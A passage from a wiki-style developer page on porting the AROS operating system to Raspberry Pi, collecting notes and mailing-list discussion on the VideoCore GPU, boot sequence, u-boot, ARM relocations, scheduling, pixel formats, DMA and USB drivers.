modern programmable shader, whether you calculate Nvidia, AMD, Intel, Boardcom or any other company's GPUs. Total ALUs * 2 * GHz clock = GFLOPs, In the case of Raspberry Pi 3, it's 24 ALUs * 2 operators * 0.4GHz = 19.2GFLOPs If the Videocore 6 does indeed only have 16 ALUs (16 * 2 * 0.5GHz), you'd have only 16GFLOPs but they are better utilised Possible maximum performance <pre> VideoCore IV @ 250MHz: 250 [MHz] x 3 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 24 Gflop/s VideoCore IV @ 300MHz: 300 [MHz] x 3 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 28.8 Gflop/s VideoCore VI @ 500MHz: 500 [MHz] x 2 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 32 Gflop/s </pre> Faster LPDDR4 memory. ====BCM2837==== With the Pi3 * Broadcom BCM43438 chip provides 2.4&nbsp;GHz 802.11n wireless LAN, Bluetooth Low Energy, and Bluetooth 4.1 Classic radio support, 3B+ [https://github.com/aros-development-team/AROS/commit/afa5bc0bb17d5dd06bcfdbac00853a3799ca8d76 LAN7515] The overclock ability has diminished with each chip version as the energy usage has increased. BCM2837 is one of the warmest yet and benefits from active fan cooling if all four cpu cores are in use for a short while. Video playback is not affected due to the custom support in the GPU. 5 V / 2.4 or 2.5 amp power supply recommended if all four cpu cores are running, else throttling (cpu slowdown) might occur. Dual VDP and scalable QPU in VC4 ARMv8-A has [https://developer.arm.com/documentation/102412/0100/Privilege-and-Exception-levels privilege levels] where userspace typically runs at ‘EL0’, the kernel at ‘EL1’ or ‘EL2’ and the firmware at the highest level ‘EL3’. ===32bit=== === Core Kernel === ====BCM2708(family)==== which includes the [http://elinux.org/RPi_Hardware BCM2835] (ARM1176JZF-S 700&nbsp;MHz CPU + VideoCore IV GPU + up to 1GB RAM) *Framebuffer (fb) using mailbox *IRQ scheduler, etc *Arasan based SD Card controller *Synopsis DesignWare USB 2.0 OTG controller [http://networkdirection.net/index.php?option=com_content&view=article&id=106:rasperry-pi-usb-controller&catid=45:raspberry-pi&Itemid=54 Unofficial DOCS pdf], [dwc_otg.c FreeBSD], [], [https://www.riscosopen.org/viewer/view/mixed/RiscOS/Sources/HWSupport/USB/Controllers/DWCDriver/ RiscOS USB Driver], [https://www.riscosopen.org/forum/forums/5/topics/878 RiscOS USB Discussion], [https://www.riscosopen.org/forum/forums/11/topics/1893 Other USB RiscOS], [http://plan9.bell-labs.com/plan9/index.html Plan9 Miller's usb] http://plan9.bell-labs.com/sources/contrib/miller/, [https://github.com/Chadderz121/csud CSUD driver], *[http://www.smsc.com/media/Downloads_Public/Data_Sheets/9512.pdf SMSC 9512] USB LAN/Hub chip *CMOS RAM *VCHIQ port which sends messages to the GPU e.g. for mouse, keyboard, audio on HDMI, etc *Audio Driver *Serial Peripheral Interface Bus (SPI) *[http://www.susa.net/wordpress/2012/06/raspberry-pi-pcf8563-real-time-clock-rtc/ I2C registers] *I2S *Universal Asynchronous Receiver Transmitter (UART) *[http://elinux.org/RPi_BCM2835_GPIOs GPIOs] and [http://www.adafruit.com/blog/2012/08/17/broadcom-bcm2835-peripheral-memory-map-and-gpio-alternate-use-chart-piday-raspberrypi-raspberry_pi/ Alternative view of GPIO] BCM2836 * For Pi B+, PI 2 and Pi 3 SMSC LAN9514 chip adding 10/100 Ethernet connectivity and four USB channels to the board *[http://www.andrewscheller.co.uk/rpi_pcb_modules.html PCB], [http://elinux.org/RPi_Low-level_peripherals Low level features], Implemented so far... # Modify the configure system so that it correctly builds for the arm hardware float raspi target. # Implemented the bootstrap to load the aros modules and prepare the arm to jump into them. Reworked the x86 console support so that parts can be stolen for raspi to use since t has no basic functionality to output to the display. # Implemented a kernel.resource to prepare the raspi for running aros and provide the low level api calls to expose available resources and allow exec, etc function. # Implemented serial debug support # Implemented the exec (and kernel) functionality required to make multitasking work (and interrupts, exceptions, syscalls, etc) # Implemented a timer.device to utilise the hardware timers. # Implemented a very basic gfx driver to expose the hardware's framebuffer. # Implemented an SD-Card driver for AROS which presently only supports the raspi's chipset but can easily be modified to support all sd-card hardware and media. # Fixed the fat filesystem support in AROS so that it can boot on RasPi's normal SD-Card setup. The "rom" image files needed use a different filename than the default linux, etc images so can be easily installed without harming the existing files - you only need to change the loaded images in the config file to get aros to boot. # Updated the build scripts to automatically download the necessary raspi firmware files and wrap it all up so that you can simply extract the archive to a fat formatted sdcard and boot it on the raspi without having to get anything else. # fix everything in contrib and ports to build for raspi (needs proper testing/fixes but allows every component to actually compile at least, including owb) + numerous other fixes to get things working on arm/raspi .. Improvements... # Implement a USB chipset driver "OR" finish the existing one [https://github.com/aros-development-team/AROS/commit/c07d13c724f944674be5db54fc6a71ee72a01809 usb otg] - the current code is mostly a skeleton that should initialise the chipset and then needs relevant code to support the different transfer types. It also has the "virtual" hub code in place to represent the raspi's USB port (from poseidons p.o.v) # Implement a driver for the USB NIC (a few weeks - depends on USB above) # Write an [https://github.com/aros-development-team/AROS/commit/d55d0f74d20b769bbb8c8d386e5c1d7a9154f05a audio driver] (a few weeks - independent of USB) and [https://github.com/aros-development-team/AROS/commit/e93a4c245f27a87c9c4c1d39206694b39059998a HDMI] # fix syscall bug in the current raspi kernel code # Graphics depend on having a decent "bcmdma.resource" implemented as to use the cpu's dma engine. The sd card driver needs to use it for transfers to/from the controller - and the gfx system needs to use it for "blitting". # [https://github.com/aros-development-team/AROS/commit/4019d84e4975d4dad987a12d57fe108f5ac048e6 Improve the gfx driver], [ vc4gfx HIDD] add [http://dri.freedesktop.org/wiki/VC4/ Gallium3D support] # [https://github.com/aros-development-team/AROS/commit/b13905b3e8e45b089f520b44692c81affddd066f Improve] the [https://github.com/aros-development-team/AROS/commit/3a876755c070f5c73c4f53c7f4d35b4f923088b9 sdcard] device driver - which is also pretty basic but should work with most cards, rework it to also support pci, etc. sd card interfaces on x86 # The current code using very rudimentary access to the gpio interface - so that should be implemented as some resource for other components to access, as-well as the i2c interface exposed over the gpio interface. that should have a hidd class implemented which uses the gpio resource to communicate. Boot up typical for most other OSs before the open sourcing of many binary blobs from 2017 onwards On power-up, the rpi [http://www.open.com.au/mikem/bcm2835/ BCM 2835] [https://github.com/hermanhermitage/videocoreiv VideoCore4] GPU, not the ARM CPU, is in control, and the SD card slot is the only peripheral device with power. The firmware burned into the BCM2835's VideoCoreIV GPU PROM requires a DOS-style partition table; a FAT-formatted first partition; and the freely redistributable but closed sourced Broadcom files “bootcode.bin” and “start.elf” in that partition. The boot sequence carries out several pre-boot tasks *On powering of the rpi, the GPU reads and executes bootcode.bin, which then loads start.elf *The GPU loads the “start.elf” file, eventually, into the L2 cache and then executes it *configures the memory split for the CPU and GPU *reads and parses “config.txt” from the same partition on the SD card and applies the settings (like a PC’s BIOS settings) *loads the “kernel.img” file, again from the same partition *activates the CPU to begin executing the loaded kernel image The CPU/GPU memory split is hard-coded into start.elf, so Broadcom provides three start.elf images, to give 32M, 64M, or 128M to the GPU for multimedia performance, and the remainder to the CPU. RPi uses [https://github.com/raspberrypi/firmware some closed source loaders] and at some point it loads a binary blob named "kernel.img" at 0x8000, at that point there would be a rudimentary Aros alive. If one wants to use the SD-card then there would have to be a driver for the interface and a fat filesystem handler (SD-card has to be formatted to fat filesystem) Boot code and kernel are now linked together and made into that binary blob, just for starters. Raspberry Pi uses [http://kernelnomicon.org/?p=133 u-boot] and [http://kernelnomicon.org/?p=138 UBoot] as bootloader, there's already some code in the Efika MX port for that. UBoot is a native bootloader and not just for the raspberry pi, it loads after start.elf. You can find Efika MX port from arch implementations, some hacking is needed for the mmakefile.src'es as iit dates back to before the Aros crosstool era or else you get some weird errors while building. You also need to code the bootstrap and serial handling. At the moment it seems that a fastest route for the native build would be to make one binary blob without using the package system. Raspberry's memory layout is pretty simple and if the implemented u-boot doesn't support loading other modules <pre> ? - alias for 'help' mtest - simple RAM test autoscr - run script from memory base - print or set address offset bbm - BBM sub-system bdinfo - print Board Info structure boot - boot default, i.e., run 'bootcmd' bootd - boot default, i.e., run 'bootcmd' bootm - boot application image from memory bootp - boot image via network using BootP/TFTP protocol cmp - memory compare coninfo - print console devices and information cp - memory copy crc32 - checksum calculation echo - echo args to console fatinfo - print information about filesystem fatload - load binary file from a dos filesystem fatls - list files in a directory (default /) go - start application at address 'addr' help - print online help iminfo - print header information for application image itest - return true/false on integer compare jade - loadb - load binary file over serial line (kermit mode) loads - load S-Record file over serial line loady - load binary file over serial line (ymodem mode) loop - infinite loop on address range md - memory display mm - memory modify (auto-incrementing) mtest - simple RAM test mw - memory write (fill) nfs - boot image via network using NFS protocol nm - memory modify (constant address) pci - list and access PCI Configuration Space ping - send ICMP ECHO_REQUEST to network host printenv - print environment variables rarpboot - boot image via network using RARP/TFTP protocol reset - Perform RESET of the CPU run - run commands in an environment variable saveenv - save environment variables to persistent storage saves - save S-Record file over serial line setenv - set environment variables sleep - delay execution for some time tftpboot - boot image via network using TFTP protocol USB - USB sub-system usbboot - boot from USB device version - print monitor version </pre> And there is one more thing about modular ports. In order to actually implement this, your bootstrapping environment should provide the ability to load several files. On PC this is provided by GRUB2. on CHRP you can read filesystem via OpenFirmware, and Sam's Parthenope relies on modified u-boot. If your bootstrap allows to load only a single file, then you stuck with monolithic kickstart. By the way... u-boot allows not only to boot up a single uImage or zImage, it also allows to write client programs AFAIK. With this approach, you actually can write modular bootstrap for ARM AROS using unmodified u-boot. Most used [http://www.compulab.co.il/workspace/mediawiki/index.php5/U-Boot_quick_reference uboot options] are fatls usb 0:1, the reason behind INTB_KERNEL is to allow use of the standard Exec function AddIntServer() to add interrupt handlers for hardware drivers etc. AmigaOS never used it for abstract hardware drivers. AmigaOS routed only raw hardware IRQs there. Their assignment was hardcoded. As well as number of them. Actually on AmigaOS every bus has its own interrupt subsystem. For example PCI bus. PCI interrupts on Amiga are routed to a single exec interrupt. 1:1 relationship between CPU and hardware interrupts is present only on PC. IMHO we miss things like AddInterrupt/RemInterrupt methods on our PCI subsystem's device class. PCI bus class should map these methods to whatever is appropriate. This is how it is done on AmigaOS and friends. When these are implemented, raw kernel.resource API will be needed only for several PC-specific drivers with hardwired resources. Exec IRQs are real IRQs only on Amiga hardware. On other machines they can be emulated where appropriate (VBlank is a good example). kernel.resource is meant to be different, its IRQs are hardware-agnostic, they are plain "Hardware IRQ number X, whatever this means". They are low-level actually, and meaningful only in the context of a particular system. Was that not the transition from irq.hidd to kernel.resource? No. A long time ago there was another hacky bit named INTB_TIMERTICK. It was "abstract timer interrupt", used by timer.device. It was the same as VBlank, but with larger frequency. I removed it, because kernel.resource API was a cleaner way to access this interrupt. Furthermore, there can be more than one timer in the system. Thinking about bringing back timer HIDD definitions again. hpet.resource is a bad idea. Can someone please enlighten me a little on how the scheduler is meant to work? Poseidon.library creates its "Poseidon Event Task" during RTF_COLDSTART -> then calls Wait(), and ends up in limbo because wait disables interrupts (used for the scheduler heartbeat), and basically waits forever because the sigbit is never set, since krnSwitch doesn't switch the task unless TF_SWITCH is set, and no codepath run during this seems to set it?? TF_SWITCH does not disable/enable switching. This flag just enables to run user-supplied hook when the task is being switched away. It is completely safe to call Wait() in Disable()d state. Doing this actually temporarily breaks this state. IDNestCnt gets remembered in struct Task, then next task is selected, and its IDNestCnt is restored in sysbase (see kernel_scheduler.c). If there are no other tasks, then your cpu_Dispatch() should enable interrupts on the CPU and enter idle mode. See x86 implementation for good example. You miss what happens next... 1. KrnSwitch() saves context of your task, saves IDNestCnt (core_Switch() and cpu_Switch()), then drops into cpu_Dispatch(). 2. cpu_Dispatch() calls core_Dispatch. Then two cases are possible: 2a. There is a READY task. It is picked up, its IDNestCnt is restored in SysBase, then cpu_Dispatch() needs to restore registers and exit. The next task is run. 2b. There are no READY tasks. core_Dispatch() returns NULL. In this case your cpu_Dispatch() should enter idle loop. It should just enable interrupts on the CPU and put it on halt. This allows it to process hardware interrupts. Eventually some of your interrupt handlers wakes up your task and puts it into READY list. My heartbeat interrupt has been slowed atm to help debugging - but it never actually gets a chance to fire because of the Wait() disabling interrupts. Perhaps you have forgotten to enable interrupts in your idle loop. There is a change in the format of AROS executables. Until now we were using Elf RELocable files which are usually used as intermediate object files. We had them for various reasons, one of them was how AROS files were built in the past. That days we had no real aros cross compiler and the option to embed relocation data in unix executables (or in executable files in general) was rather new and not every linux/unix system had it. Therefore we have decided to use intermediate files. Although it was somehow working (and it is still working :-)), it has some drawbacks. Therefore decided to introduce real Elf EXEC types, in first turn implemented on ARM target with option to expand in future to all other AROS architectures. The first patch was pretty easy and appeared to work somehow. It generated nice executables with embedded relocation info. Not only that, it also removed all global symbols adjusting relocation data to be relative to the beginning of the sections. That move reduced number of symbols in each executable significantly (depending on the file between 20 and 80% of all symbols could be removed). The only symbols that stayed in the file are local ones - due to the nature of the patch wasn't able to remove them since we have not seen them in the symbol hash table. The patch didn't worked though. The files were relocated, AROS kernel loaded, but it crashed very early. What happened? Well, the nature of ARM relocations happened :) Most of the relocation data on all machines is rather simple. Relocation can be absolute or pc-relative, sometimes the offset has to be bit shifted. On ARM v7 there is another one. There, when one wants to load an address of function/variable into register a combination of two instructions can be used: movw and movt. The first one loads immediate into lower 16 bits of a register while clearing upper 16 bits. The second one loads immediate into upper 16 bits without touching lower halfword. Loading of a pointer into a register looks like this: movw r0, #:lower16:label movt r0, #:upper16:label In this case there are two relocations - one for lower halfword and another for upper. If an overflow of lower 16 bits occurs during relocation process, the upper one should be updated as well. Unfortunately with current patch and with typical ARM executables there is not enough information to perform the calculations. There are two options - the first one would be to give up and go back to "fake" executables, another one would be to change from REL to RELA relocation info. The latter contains an addend, extra data which can be used to perform all the relocation calculations I need. Decided for the second option. The patch is already in the works. There is another function for the binutils' bfd backend to perform the final relocation. There can decide what to do with every reloc info, modify data and eventually strip some symbols. An advantage is - at this stage of the linking process have also full access to all local symbols so can change all relocations section relative and eventually strip all symbols from the files. GPU VCore developed by Alphamosaic Ltd and now owned by Broadcom. Most of start.elf runs on the GPU. Placing ALL the userland GPU code in the videocore.hidd isn't going to be a terribly big problem because the code they published is nothing more than a shim that sends data straight to the GPU to execute. The good news about this is that we only need to write our HIDD using the OpenVG API. The shim is relatively small codewise and lives in the ARM memory (the actual OpenVG code itself lives in the GPU RAM area and its loaded from start.elf). That's also the bad news. Our driver has to translate AROS video calls to OpenVG calls, for most tasks it should be easy, for some, not so much. It's still probably less difficult and less work, than controlling the GPU directly. The other good news is that anything done through OpenVG happens on the GPU, its truly accelerated. It also has some nice font functions, meaning we can lead into an accelerated text mode later. Basically, AROS resets or locks up when it tries to use AROS_ATOMIC_INC or DEC. If I comment out the byte/word operations in the header files and use non-atomic operations, the code works as expected. have read that the L1 cache needs to be enabled to use LDREX and co (which I also read is only meant to be used on multi processor systems with shared memory) - however I am certain this is correctly enabled. If you are using LREX or STREX, you should have L1 cache enabled, at least on the ARM CPU I work with at work. L1 cache is enabled by enabling the MMU *AND* setting the C and I bits in the CPU - the C bit is ignored, and the I bit only covers the 16 byte instruction pipeline if the MMU is not enabled. Can you verify that your assembly is generating LDREX/STREX? From the behavior, it almost sounds like its generating the default Semaphore locked atomics. Impossible. There are no semaphore-locked atomics. There are Disable()/Enable()-based ones instead. And there's a special #define AROS_NO_ATOMIC_OPERATIONS in this case, which tweaks Disable()/Enable() implementations not to recurse forever. I have tested this on ARMv5 which does not have ldrex/strex, it works fine. On those ARMs there's no way to have real atomics. On other OSes (like Linux) this is done by introducing things like atomic_t, which appears to be a complex structure, holding the value together with accompanying spinlock (implemented using swp). #warning "TODO: lookup optimal mmu table settings for raspi memory" /* Set up an identity-mapping for all 4GB */ for(x = 0; x < 4096; x ++) { pagetable[x] = x<<20 | (0x40002|0x80000|0x010000|0x00C00|0x04); } Shouldn't there be a second loop that sets the 'C' bit in the descriptor for the RAM pages? Currently, you have TEX=0, C=0, B=1 for all pages (Shared Device). You should have TEX=0, C=1, B=0 for RAM (Write-Through, Cached) So .. pagetable[x] = x<<20 | 2; should be enough? No, for RAM you need to change the '| 0x40' to '| 0x80' tell dosboot the correct defaults to use Please don't do this. This bootconfig.c is a deprecated legacy thing. I wanted it to go away completely with time. Instead, display drivers should auto-install themselves during own initialization phase. I. e. detect hardware=>instantiate itself. This should make things way simpler. With this approach you only need to add the driver into KS image to get the device autobooted. No hardcoded stuff. Currently VESA and VGA drivers do this, look there for examples. never rewrote ATI driver because i don't have any test system for it. they defined a smaller AROSCPUContext than the ExceptionContext - yet reference it as ExceptionContext in other places, and since it hasn't allocated enough storage for ExceptionContext, are corrupting memory/the structure (since the elements that are there don't map 1 to 1 with the exception context). AFAIK, AROS has been moving in a different direction to this in recent years. It is the job of graphics HIDDs to allocate bitmaps etc. so that they have the most suitable characteristics, including allocating them from GPU RAM where possible. The concept of chip RAM is only for legacy code, and most if not all non-68k platforms should have all system RAM marked as chip. BTW, is the video processing code you mention CPU code or GPU code? Also, IIRC we have support for "external memory allocators". Perhaps that's what we need for the allocation of GPU RAM through the mailbox. All hosted and x86 native ports should use proper context formats. trying to clarify if the vblank handler has to have run by this point to prevent this deadlock. Actually, no. Unless you have installed VBlank handler which should wake up at some point. Without VBlank there will be no quantum count. Consequently, there will be no forced preemption. But the rest will work, and multitasking will be cooperative (switch happens only when current task voluntarily gives up the CPU). Does it depend on the vblank having run before this point? and if yes what does that mean on systems where it might be able to run enough code (e.g. get to this point) before the vblank interrupt has triggered? What is it waiting for? It could wait for timer, in this case you need timer.device working. VBlank is currently needed for exec's quantum counter. In current native ports we have only a single timer, which is served by timer.device. VBlank is simulated by timer.device also. If your machine has two timers, then you can use one of them for VBlank, and another for timer.device, this will simplify things down. VBlank needs to be 50 Hz for historical reasons, many programs use it as cheap timer. I am periodically thinking about making some abstract mechanism to be able to change quantum source (and untie it from 50 Hz), but have no time to come up with something good. Additionally i started disliking timer.device hardcoded design when PC has got many timers (old 8253, APIC, HPET). Currently i think there should be some low-level entity representing tick source. timer.device should just select the most appropriate source for its units. The BCM2835 has 4 GPU based timer sources - 2 are used by the GPU, so im using Timer3 for our heartbeat and the remaining one will be free to the system. There is also the less capable ARM timer but that is dependent on the CPU frequency. Very good. You won't need any emulation. Set the heartbeat to 50 Hz and drive VBlank from it. Use other timer for MicroHZ. Can you use the 'econsole.hook' I make for debugging the Sam460 via the serial port? It provides a before-anything-else shell prompt on the serial port. You can then do 'NewCLI' to test your graphics, or use any DOS command in shellcommands.resource. You should just be able to add econsole.hook to your module list, and use 'econsole' in your bootargs. So long as you have a working Exec/RawMayGetChar and Exec/RawPutChar, it should work. Also make sure to add shell.resource and shellcommands.resource for this. That should have done it. If you set "#define DEBUG 1" in arch/all-native/econsole/econsole.c, do you get any additional serial output? have added it to the build and added econsole to the command line - and can see the bootloader picks up on the emergency bootconsole tag, but I still only get the insert bootable media display? Im assuming it exposes a fake filesystem that tricks aros into booting? The contents of which are: ECON:AROS.boot Way to handle the scheduling code? The implementations I had been following were causing problems, due to cascading interrupts which I cant handle properly in the asm stubs just now (when they break disable etc.) - since it means detecting the interrupted codes cpu mode and getting the correct sp/lr for it, and that's just too tedious for arm. To work around this ive added a system idle task which does nothing - and when the scheduling code has no task to run switches this in and lets it run, thereby allowing the interrupts etc to resume until something does need to happen. Also, by adding accounting code to cpu_Switch() and cpu_Dispatch(), it should allow the system to log idle time correctly (as well as running tasks). have thought of also adding an additional task that never runs, solely to record time spent in IRQ handlers, but I digress.. was under the impression that kernel.resource should *never* be used outside of exec.library. This is a wrong impression. Michal started designing it because portable nature of AROS does not fit well into exec's API with all its assumptions. So, he started the new, hardware-agnostic kernel API from scratch. Yes, exec sits on top of it in places. But kernel always meant to be open thing. Otherwise it would not exist. it wasn't meant to be just used willy nilly by user code - but by lower system components (e.g. exec) so that they could be implemented in a more generic fashion, and the kernel resource itself hide the systems quirks. Adding new things there perfectly keeps up with our decision to minimize AROS-specific intervention into APIs which can clash with MorphOS or Amiga OS4 extensions. We want at least source-level compatibility there. Binary compatibility on PPC would be extremely cool, but at the other hand we have no maintainer for this, as well as their ABIs splintering. It depends on what exactly is being implemented - there's no reason we should have everything crammed into kernel.resource if it doesn't need to be (i.e. if its better suited as a separate component/subsystem in its own right) The _LE versions are for when you have endian swapping taking place. If the graphics are the same endian as the CPU, no swapping should occur. I ran into a similar terminology problem in SDL with a friend insisting that his Radeon 7000 on his PC was big-endian. It is not, it just uses the same endianness for the graphics card and the CPU so no swapping was necessary. They were both little-endian. The _LE versions are because the PixFmts refer to the bitmap data being in big endian format in memory, for which the normal version would need to do endianness conversion before applying the shifts/masks. on this platform it is in _LE in memory also so we don't need the conversion hence using the _LE version of the call). would use _LE (if it's really little endian 16 bit mode). What is the bare minimum needed to implement a framebuffer based gfx driver, with our software handling the rest? Have tried with just a gfx class that only expose new/dispose/newbitmap - and having an onscreenbitmap used only for the framebuffer itself (with all other bitmaps being chunkybm, and the framebuffer's superclass also being chunkybm), but that alone isn't enough it seems? You can use workbench/hidds/sm502/ as your example - it is as simple as I could make it. So, AROS creates the framebuffer bitmap (verified this) -> so surely it should be capable of then rendeing into it? I don't actually create the framebuffer "bitmap object" myself - only as a result of being asked to. The code I currently have on SVN seems to create the framebuffers bitmap object fine, but then crashes in intuitions DisplayDriver callback. In particular it crashes performing the getattr on the system default pointer. don't expose MEMF_CHIP in an allocatable form so AllocSpriteData was failing (and other code later doesn't check if the values are valid == illegal memory accesses) So far have -: vc_init: queries the gpus memory, and sets up a fake memory handler for it, then adds the bootmode driver and returns saying all is well vc_gfxhidd:New: sets up some fake syncmodes to test with and creates the real gfx object. vc_gfxhidd:NewBitmap: checks if its a framebuffer and uses the onbitmap class or uses the chunkybm class otherwise vc_onbitmap:New; creates a chunkybm object and then pushes the real framebuffer address into it as the buffer, vc4 had v8adds, v8subs, v8muld, v8min and v8max which operated on four 8bit uint values packed into a 32bit register. Multiplication was in the range 0.0 to 1.0 and addition/subtraction saturated. There were also a range unpacking/packing modes that allowed you to pack and unpack 8bit values into 32bit registers. RasPi has to speak to the "operating system" which runs on the GPU itself and request/free memory - it cant directly manage it itself, and so the managed functions were used to wrap these calls. The Arm and GPU share memory space. The framebuffer is shared. The Arm can write a pixel and it will appear on the screen (through GPU hardware) without flushing/copying being required. The GPU can composite multiple FB's in real time - so you have a number of surfaces defined which are rotated etc and composited in real time to the output. Copying can map from the address space of the Arm to the flat space of the GPU which takes some code, but I don't think whole buffers are copied. The DMA hardware can also access the whole memory space and can perform 2D fills and blits (no blending). This is documented in the peripheral spec posted. The DMA is just an Arm accessible peripheral and can be set up with low latency (e.g. microseconds). must use a 0xc0000000-based bus address to access SDRAM, yet non-DMA access should go via a 0x0-based bus address. For 2D dma, set TDMODE, and the spec says "interpret the TXFR_LEN register as YLENGTH number of transfers each of XLENGTH, and add the strides to the address after each transfer." so set STRIDE to pitch of the image, the width is XLENGTH and height is YLENGTH. You would fill by not setting the SRC_INC and point source to your fill data. The DMA cannot see the ARM's L1 cache, so you would map the framebuffer with ioremap_nocache. Depending on where the source data comes from, it may need an L1 cache flush. The DMA can see the L2 cache. Use 0xC0000000 bus addresses when L2 is disabled and 0x40000000 bus addresses when L2 is enabled. (actually just call virt_to_bus and you'll get the right address out). openGLES/openVG has high latency. Writing to framebuffer then reading it back is very inefficient (e.g. milliseconds). If you can drive it a unidirectional way, just streaming commands at then that is efficient. openVG is not implemented on top of openGLES - it uses the same hardware but as a first class interface To improve the Gfx driver, we will need a DMA resource implemented so can use to perform DMA operations. The Gfx driver will need this to perform blits. Actually MEMF_CHIP has to present, for historical reasons. This has been never fully agreed upon, but in ports i wrote i exposed the whole memory as MEMF_CHIP. The idea behind this is that CHIP is originally the memory where graphics and sound data can be put. On non-Amiga platforms there are no restrictions on this, so the whole memory is CHIP. Yes, many old software can misbehave with CHIP memory size larger than 2MB. But this actually applies only to m68k AROS which is going to run m68k binaries. In other cases it's quite logical to fix the program when porting. As to original question: yes, it's enough to have a framebuffer bitmap (one with aoHidd_BitMap_FrameBuffer set to TRUE) and PutPixel routine. It framebuffer can be served by chunky bitmap class, then you can simply create chunky bitmap with your own buffer (see how VESA driver does this). Chunky PutPixel is already there. struggling to determine what is the correct pixfmt to use for the 24/16/15 bit gfx modes on the RasPi. AFAIK it uses RGB565, for 16bit but im unsure what shifts etc should go with it? suffice to say Im getting the wrong colors so far lol. <pre> redmask: 0x0000F800 greenmask: 0x000007E0 bluemask: 0x0000001F alphamask: 0 redshift: 16 greenshift: 21 blueshift: 27 alphashift: 0 </pre> It should likely be vHidd_StdPixFmt_RGB16_LE This stuff is a bit confusing. The "names" of the stdpixfmts are based on the layout in memory, ignoring endianess. So for example: ARGB32: will be 0xAA 0xRR 0xGG 0xBB in memory on both big endian and little endian machines. The shifts and masks OTOH are based on pixel access (ULONG in this case), so differ depending on whether you run on big endian machine or little endian machine (that's why there's stdpixfmt_le.h and stdpixfmt_be.h in rom/hidds/graphics/). With the 16 bit pixel format it's even more confusing, as for example it's impossible on little endian machine to describe RGB16 with shifts/masks alone. That's why there's vHidd_PixFmt_SwapPixelBytes_Flag. (RGB16 == RRRRRGGG GGGBBBBB in memory, and for pixel (WORD) access on little endian machine it needs to be accessed as GGGBBBBBRRRRRGGGG). The shifts btw indicate how much to shift the component to the left (!) so that it is moved to the highest bit (31). The aHidd_PixFmt_StdPixFmt you specify will be ignored most of the time, because when the pixelfmt is registered, the gfx hidd checks if there's an identical pixfmt (shifts/masks/etc., but ignoring pixfmt->stdpixfmt) already in the system, and if so, it uses the already existing one and does not create a new one. In theory it would be better if gfx drivers could simply/only specify a StdPixFmt without all the shifts/masks stuff when the gfx driver uses pixfmt which matches one of the stdpixfmts exactly. Another possibility would be for gfx drivers to use HIDD_Gfx_GetPIxFmt(stdpixfmt_gfx_driver_wants_to_use) and then peek shifts/masks from it and fill out a pixfmt tag list based on that. 15bit very blue/green: Try to pass same shifts/masks/etc. as in 16 bit pixfmt (maybe you think it's using 15 bit R5G5B5 (or swapped) but it's actually still using 16 bit R5G6B5 (or swapped). aHidd_PixFmt_StdPixFmt you pass is mostly ignored. It's the shift/masks/etc. that count. But I would still pass the correct one (_LE) == whatever rom/hidds/graphics/stdpixfmts_??.h uses in the entry where you have looked up shifts/masks/etc. Use the shifts/masks/etc. from the entry in stdpixfmt_le.h (if you are running on little endian machine) or stdpixfmt_be.h (if you are running on little endian machine) that matches the pixfmt that its meant to be. 0xAA,0xRR,0xGG,0xBB on little endian (->entry in stdpixfmt_le.h which says vHidd_StdPixFmt_ARGB32) 0xBB,0xGG,0xRR,0xAA on little endian (->entry in stdpixfmt_le.h which says vHidd_StdPixFmt_BGRA32) 0xAA,0xRR,0xGG,0xBB on big endian (->entry in stdpixfmt_be.h which says vHidd_StdPixFmt_ARGB32) 0xBB,0xGG,0xRR,0xAA on big endian (->entry in stdpixfmt_be.h which says vHidd_StdPixFmt_BGRA32) it feels like AROS trashes the alpha component, otherwise it should be 8A8R8G8B. read on the subject suggest its in 1x5r5g5b (x is ignored) to keep 16bit alignment . Suggests to me that wrong shift/mask are being applied - however going by the 16bit versions it all looks correct to me so I am really confused as to what is happening. The output image looks to have too much green/blue, and very weak red. Kickstart The idea is to minimize amount of archirecture-specific modules to make the user's life easier. So, the kickstart was split into 'base' (which does not contain anything machine-specific) and 'BSP' (Board Support Package) which contains all hardware-specific stuff. This way, for example, distribution makers can save up space on CD and make CDs with multiple platform support. Different configuration would load the same base with different BSP's. Next there was some part which is entirely missing on hosted. These are filesystems. Hosted ports do not need them to boot up, so on hosted they are left out. At the other hand, they are also architecture-agnostic. So i put them into 'FS' package (standing for 'filesystem'). USB Poseidon is one more big part. I made it into separate package in order to allow users to omit it if they don't need it (for example, to run on retro PCs without USB). Personally i have one. Again, Poseidon is hardware-agnostic (well, there are USB drivers but HCIs are pretty standard). AFAIK its HCI 1.0 compliant but not familiar enough with poseidons drivers, nor USB, to just hack away at the existing code. Perhaps once i'm more familiar with the workings I can merge in the changes needed to get it operating but for now I will focus on getting it running. Also our drivers have known issues so perhaps a fresh set of eyes might shed some light on what is going wrong. Another interesting question is whether Poseidon can operate on device side. Is it flexible enough? How similar is being a USB host and USB device? think it will need a bit of work on Poseidon's side. Until then I will force the driver into Host/Master mode in the init code, but leave open device etc to configure the chipset for either's use - and look at trying to add support for working in Device/Slave mode & switching modes once it's up and running. Actually USBROMStartup is some kind of kludge. Can there be any alternative? Could device drivers be self-installing, like our HIDDs? This would get rid of need to list them in USBRomStartup. * Model A and B limited to 150 mA per port. * Model B+ and Pi 2 introduced configurable 600 mA to 1.2 A support over all ports - anything above that requires a powered USB hub. Implementing the hardware driver that Poseidon uses to interact with the USB components. Have code in place to (try) and initialise the USB chipset, and configure host/device mode operation (though AFAICT Poseidon doesn't support device mode). Started to get the "virtual" root hub written for the single USB port so that Poseidon should at least list it correctly in the GUI - and try to interact with it to find peripherals. The BCM2835 uses a soft IP block from Synopsys’ DesignWare library (DWC), specifically the block is called dwc_usb_2_0_hs_otg_subsystem-ahb_se (“USB 2.0 Hi-Speed OTG Controller Subsystem w/AHB Interface SE”). There is no public documentation for this, and pretty much zero chance of anyone getting hold of it even with NDA. However, there's a Linux driver written by Synopsys ([https://github.com/raspberrypi/linux dwc_usb]). Specifically directories [https://github.com/raspberrypi/linux/tree/rpi-patches/drivers/usb/host dwc_common_port] and [https://github.com/raspberrypi/linux/tree/rpi-patches/drivers/usb/host dwc_otg]. The Synopsys code is actually under a fairly permissive licence – it's not GPL, it's similar to BSD (’don't sue us if it breaks’ is pretty much the only clause). So this should not be a barrier to porting the code. The code is really well written, with a nice partition between the work done by the driver (dwc_otg, which is fairly involved, given the host does more work than a conventional EHCI driver), and the interface to Linux (dwc_common_port). Probably only need provision of relevant changes to dwc_common_port. Other things to consider.... * Provision of necessary headers to get it to 